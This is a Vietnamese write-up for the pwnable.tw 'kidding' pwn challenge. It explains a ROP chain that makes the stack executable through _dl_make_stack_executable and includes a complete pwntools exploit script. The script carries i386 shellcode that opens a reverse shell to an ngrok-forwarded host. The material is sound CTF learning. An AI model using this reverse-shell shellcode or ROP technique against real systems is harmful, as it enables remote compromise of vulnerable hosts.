pwnable.tw

Kidding

tl;dr: Tương tác out-of-band; Mở socket để tạo reverse shell.

February 19, 2026 Medium Puzzly

Recon

Mitigation

$ pwn checksec kidding
[*] '/home/hungnt/pwnable.tw/kidding/kidding'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$ file kidding
kidding: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=17d38985f3a41f2ffb821c3ac7dfd0547522cc18, not stripped

Code

main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[8]; // [esp+0h] [ebp-8h] BYREF

  read(0, buf, 100);
  close(0);
  close(1);
  close(2);
  return 0;
}

Solve

Vì cả 3 fd 0,1,2 đều bị đóng trước khi ROP, nếu spawn shell thì shell ko có các fd để kế thừa nên sẽ ko tương tác đc, nên mình có các ý tưởng như sau:

  1. Mở lại fd bằng trỏ đến /dev/tty -> Chỉ tương tác đc ở local, trên remote ko đc. Vì các lý do mà mình cũng lười giải thích :v
  2. Mở socket, tạo reverse shell về mình -> Mình ko nghĩ ra cách nào nhét nổi full ROP chain vào 100 bytes.
  3. Biến stack thành executable, rồi shellcode để tạo socket rồi reverse shell -> Mình cũng ko nhét đc đủ.
  4. Không spawn shell, dùng out-of-band method để gửi flag ra ngoài, execve() wget hay curl với flag trong url đến webhook để mình đọc flag trong request. Nhưng mà setup argv như vậy rất cực, mà có khi cũng ko nhét vừa 100 bytes, mà có khi trên remote còn ko có wget hay curl.

Mình chịu cứng, mình phải đọc writeup thôi :v https://x3h1n.github.io/2019/04/14/pwnable-tw-kidding/.

Vậy ý tưởng chính là biến stack thành executable với mprotect rồi shellcode tạo socket rồi reverse shell, nhưng cách setup hô biến stack RWX ở đây mình thấy rất hay, nhưng mình nghĩ bài này khó mà làm đc nếu ko đọc writeup.

Hàm _dl_make_stack_executable() là một hàm setup các tham số và gọi đến mprotect() với điều kiện là ecx = dword ptr [eax] = giá trị của __libc_stack_end, và giá trị của __stack_prot = 7.

Ban đầu mình đọc hint đến đây, mình tự setup các tham số, nhưng vẫn ko nhét đủ 100 bytes.

Địa chỉ của _dl_make_stack_executable đc ghi vào _dl_make_stack_executable_hook:

_dl_make_stack_executable_hook đc gọi tại _dl_map_object_from_fd.constprop.7+3338. Và trước đó __stack_prot được set về 7, và eax được gán giá trị tại [ebp + 0x18].

Ok, mình muốn eax trỏ đến nơi có __libc_stack_end, ok nó ở đây, ví dụ như generic_start_main+66:

Vậy ý tưởng là mình sẽ ghi generic_start_main+66 - 0x18 vào saved rbp, sau đó nhảy đến _dl_map_object_from_fd.constprop.7+3328, các tham số sẽ đc setup hợp lệ.

Tuy nhiên vì ở đây là call dword ptr [_dl_make_stack_executable_hook], nên khi return sẽ nhảy về địa chỉ tiếp theo là _dl_map_object_from_fd.constprop.7+3344, ko phải ROP chain của mình. Để xử lý điều này, mình ghi _dl_make_stack_executable+1 vào _dl_make_stack_executable_hook bởi vì:

0x809a080 <_dl_make_stack_executable>                            push   esi
0x809a081 <_dl_make_stack_executable+1>                          push   ebx
...
...
0x809a0c4 <_dl_make_stack_executable+68>                   ││    pop    ebx
0x809a0c5 <_dl_make_stack_executable+69>                   ││    pop    esi
0x809a0c6 <_dl_make_stack_executable+70>                   ││    ret

Thiếu đi 1 lần push, thì 2 lần pop trước khi ret sẽ bypass return address được đặt vào stack khi call, chương trình tiếp tục ret về ROP chain của mình.

Sau khi stack đã RWX, mình chỉ việc ghi shellcode ngay liền sau gadget jmp esp để thực thi shellcode.

Script

Ở đây mình sử dụng ngrok để port forwarding:

$ ngrok tcp 1337

ngrok                                                                                                                                                                       (Ctrl+C to quit)

Session Status                online
Account                       hungtuong05@gmail.com (Plan: Free)
Version                       3.36.1
Region                        Asia Pacific (ap)
Web Interface                 http://127.0.0.1:4040
Forwarding                    tcp://0.tcp.ap.ngrok.io:11143 -> localhost:1337

Connections                   ttl     opn     rt1     rt5     p50     p90
                              0       0       0.00    0.00    0.00    0.00
#!/usr/bin/env python3

from pwn import *
import socket

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("kidding_patched", checksec=False)

context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
b *0x0804888F
b *0x80bd13b
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(1)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10303
        return remote(host, port)

p = conn()

if args.LOCAL:
    ip = "127.0.0.1"
    port = 1337
else:
    ngrok_host = "0.tcp.ap.ngrok.io"
    ip = socket.gethostbyname(ngrok_host)
    port = 11143

# eax=0x66: sys_socketcall(ebx=0x1, ecx=[2,1,0]) -> socket(2,1,0)
# Lúc này eax = 0 nên mov al đc
shellcode = '''
    mov al, 0x66
    xor ebx, ebx
    push ebx
    inc ebx
    push ebx
    push 0x2
    mov ecx, esp
    int 0x80
'''

'''
   0xff9df8f0    mov    al, 0x66                  AL => 0x66
   0xff9df8f2    xor    ebx, ebx                  EBX => 0
   0xff9df8f4    push   ebx
   0xff9df8f5    inc    ebx                       EBX => 1
   0xff9df8f6    push   ebx
   0xff9df8f7    push   2
   0xff9df8f9    mov    ecx, esp                  ECX => 0xff9df8e4 ◂— 2
   0xff9df8fb    int    0x80 <SYS_socketcall>
'''

# eax=0x3f: dup2(ebx=0x0, ecx=0x1)
shellcode += '''    
    mov al, 0x3f
    dec ebx
    pop esi
    pop ecx
    int 0x80
'''

'''
 ► 0xff9df8fd    mov    al, 0x3f                  AL => 0x3f
   0xff9df8ff    dec    ebx                       EBX => 0
   0xff9df900    pop    esi                       ESI => 2
   0xff9df901    pop    ecx                       ECX => 1
   0xff9df902    int    0x80 <SYS_dup2>
'''

# eax=0x66: sys_socketcall(ebx=0x3, ecx=[0,&sockaddr_in,0x10]) -> connect(0,&sockaddr_in,0x10)
'''
struct sockaddr_in {
    uint16_t sin_family;   // 2 byte
    uint16_t sin_port;     // 2 byte
    uint32_t sin_addr;     // 4 byte
    char     sin_zero[8];  // 8 byte padding
};
'''
shellcode += f''' 
    mov al, 0x66
    mov bl, 0x3
    push {hex(u32(socket.inet_aton(ip)))}
    push {hex(u32(p16(socket.AF_INET) + p16(port, endian='big')))}
    mov ecx, esp
    push 0x10
    push ecx
    push 0x0
    mov ecx, esp
    int 0x80
'''

'''
 ► 0xff9df904    mov    al, 0x66                  AL => 0x66
   0xff9df906    mov    bl, 3                     BL => 3
   0xff9df908    push   0x100007f
   0xff9df90d    push   0x39050002
   0xff9df912    mov    ecx, esp
   0xff9df914    push   0x10
   0xff9df916    push   ecx
   0xff9df917    push   0
   0xff9df919    mov    ecx, esp
   0xff9df91b    int    0x80 <SYS_socketcall>
'''

# eax=0xb: execve(ebx='/bin/sh', ecx=0, ebx=0)
shellcode += '''
    mov al, 0xb
    push 0x68732f
    push 0x6e69622f
    mov ebx, esp
    xor ecx, ecx
    xor edx, edx
    int 0x80
'''

'''
 ► 0xff9df91d    mov    al, 0xb                            AL => 0xb
   0xff9df91f    push   0x68732f
   0xff9df924    push   0x6e69622f
   0xff9df929    mov    ebx, esp
   0xff9df92b    xor    ecx, ecx                           ECX => 0
   0xff9df92d    xor    edx, edx                           EDX => 0
   0xff9df92f    int    0x80 <SYS_execve>
'''

pl = flat(
    0,0,
    # 0x8048902 (generic_start_main+66) —▸ 0x80e9fc8 (__libc_stack_end)
    0x8048902 - 0x18, # saved rbp
    # pop ecx ; ret
    0x080583c9,
    exe.symbols['_dl_make_stack_executable_hook'],
    # inc dword ptr [ecx] ; ret
    0x080842c8,
    # <_dl_map_object_from_fd.constprop.7+3328>
    0x80937f0,
    # jmp esp
    0x080bd13b,
) + asm(shellcode)

print("payload len =", len(pl))

listener = listen(1337)

s(p, pl)

ia(listener.wait_for_connection())